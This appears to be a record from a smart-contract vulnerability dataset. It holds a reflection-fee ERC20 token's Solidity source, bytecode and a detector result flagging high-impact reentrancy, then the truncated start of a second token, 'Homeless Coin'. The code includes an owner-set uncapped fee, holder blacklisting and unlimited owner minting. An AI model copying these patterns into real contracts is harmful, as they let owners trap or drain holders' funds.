uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b657600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600e81526d446f676542656e64657220496e7560901b60208201525b60405161023e9190611a2a565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a7f565b6106a0565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611aab565b6106b7565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611aec565b610720565b34801561037257600080fd5b506101fc610381366004611b19565b61076b565b34801561039257600080fd5b506101fc6107b3565b3480156103a757600080fd5b506102c66103b6366004611aec565b6107fe565b3480156103c757600080fd5b506101fc610820565b3480156103dc57600080fd5b506101fc6103eb366004611b34565b610894565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611aec565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b19565b6108c3565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b506040805180820190915260068152652122a72222a960d11b6020820152610231565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610267610511366004611a7f565b610978565b34801561052257600080fd5b50610267610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c6610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5d3af05419fdc9436801a06b849437b113aa74f6ccbe9b7f34b81aa6a98a7b864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,275 |
0x42a6c7026711277038471205edf932126ef8f07d
|
/**
*Submitted for verification at Etherscan.io on 2021-09-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract HC is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Homeless Coin";
_symbol = "HC";
_totalSupply = 100000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account,amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
